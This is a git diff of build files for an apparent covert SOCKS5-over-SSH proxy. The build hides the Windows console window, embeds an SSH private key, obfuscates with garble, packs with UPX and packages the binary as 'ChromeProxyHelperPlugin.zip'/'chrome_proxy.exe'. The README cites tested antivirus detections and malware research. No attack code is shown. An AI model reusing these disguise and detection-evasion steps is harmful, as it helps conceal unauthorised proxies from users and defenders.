Compare commits

..

No commits in common. "542abff2501e2ee46e480c29c1e6bd783c3c1b52" and "ee933011a0ad5ef04a6b9b1af4164a51c10565f1" have entirely different histories.

5 changed files with 16 additions and 67 deletions

View File

@ -51,8 +51,8 @@ jobs:
path: | path: |
dist dist
goreleaser: release-dll:
name: Build releases with goreleaser name: Build release DLL
environment: prod environment: prod
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
@ -83,13 +83,7 @@ jobs:
filename: "ssh_private_key" filename: "ssh_private_key"
working-directory: "./resources" working-directory: "./resources"
- name: Install upx - name: Run GoReleaser to build release DLL
run: sudo apt install upx
- name: Install garble
run: make install-deps
- name: Run GoReleaser to build releases
uses: goreleaser/goreleaser-action@v6 uses: goreleaser/goreleaser-action@v6
with: with:
# either 'goreleaser' (default) or 'goreleaser-pro' # either 'goreleaser' (default) or 'goreleaser-pro'

View File

@ -13,10 +13,10 @@ before:
# You may remove this if you don't use go modules. # You may remove this if you don't use go modules.
- go mod tidy - go mod tidy
# you may remove this if you don't need go generate # you may remove this if you don't need go generate
# - go generate ./... - go generate ./...
builds: builds:
- id: "win-amd64-dll-release" - id: "dll"
env: env:
- CGO_ENABLED=1 - CGO_ENABLED=1
- CC=x86_64-w64-mingw32-gcc - CC=x86_64-w64-mingw32-gcc
@ -26,57 +26,12 @@ builds:
goarch: goarch:
- amd64 - amd64
ldflags: ldflags:
- -s -trimpath - -H=windowsgui
gobinary: "scripts/garble.sh"
buildmode: c-shared buildmode: c-shared
tags: tags:
- release - release
- dll - dll
- id: "win-release"
env:
- CGO_ENABLED=0
goos:
- windows
goarch:
- amd64
ldflags:
- -H=windowsgui
gobinary: "scripts/garble.sh"
tags:
- release
upx:
- # Whether to enable it or not.
#
# Templates: allowed.
enabled: true
# Filter by build ID.
#ids: [build1, build2]
# Filter by GOOS.
goos: [windows]
# Filter by GOARCH.
goarch: [amd64]
# Filter by GOARM.
# goarm: [8]
# Filter by GOAMD64.
# goamd64: [v1]
# Compress argument.
# Valid options are from '1' (faster) to '9' (better), and 'best'.
compress: best
# Whether to try LZMA (slower).
lzma: true
# Whether to try all methods and filters (slow).
brute: true
archives: archives:
- format: tar.gz - format: tar.gz
# this name template makes the OS and Arch compatible with the results of `uname`. # this name template makes the OS and Arch compatible with the results of `uname`.

View File

@ -1,6 +1,5 @@
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go
GARBLE_BIN = $(shell go env GOPATH)/bin/garble GARBLE_BIN = $(shell go env GOPATH)/bin/garble
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
all: socks5-ssh-proxy all: socks5-ssh-proxy
@ -15,14 +14,17 @@ test-release: socks5-ssh-proxy.release
./socks5-ssh-proxy.release ./socks5-ssh-proxy.release
socks5-ssh-proxy: $(SOURCES) socks5-ssh-proxy: $(SOURCES)
go build -o $@ go build -o $@
socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN) socks5-ssh-proxy.release: resources $(SOURCES)
GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@ GOOS=darwin GOARCH=amd64 $(GO_ENV_VARS) go build -tags release -o $@
upx $@ upx $@
win: socks5-ssh-proxy.exe win: socks5-ssh-proxy.exe
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES) #socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@ # GOOS=windows GOARCH=amd64 $(GARBLE_BIN) build -ldflags -H=windowsgui -tags release -o $@
goreleaser: resources $(GARBLE_BIN) socks5-ssh-proxy.exe: resources $(SOURCES)
goreleaser build --clean --snapshot --id win-release GOOS=windows GOARCH=amd64 go build -ldflags -H=windowsgui -tags release -o $@
dll: resources
rm -Rf dist
goreleaser build --snapshot
win-package: ChromeProxyHelperPlugin.zip win-package: ChromeProxyHelperPlugin.zip
ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
cp socks5-ssh-proxy.exe chrome_proxy.exe cp socks5-ssh-proxy.exe chrome_proxy.exe

View File

@ -68,10 +68,10 @@ Following detections have been tested:
* <https://www.yourcts.com/2024/01/19/beware-of-new-go-based-malware/> * <https://www.yourcts.com/2024/01/19/beware-of-new-go-based-malware/>
* <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6> * <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6>
* <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8> * <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8>
* <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/> * <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/>
## Development information ## Development information
* <https://medium.com/analytics-vidhya/running-go-code-from-python-a65b3ae34a2d> * <https://medium.com/analytics-vidhya/running-go-code-from-python-a65b3ae34a2d>
* <https://github.com/weak1337/Alcatraz> * <https://github.com/weak1337/Alcatraz>
* <https://github.com/burrowers/garble?tab=readme-ov-file#mechanism>>

View File

@ -1,2 +0,0 @@
#!/usr/bin/env bash
`go env GOPATH`/bin/garble -literals -tiny $@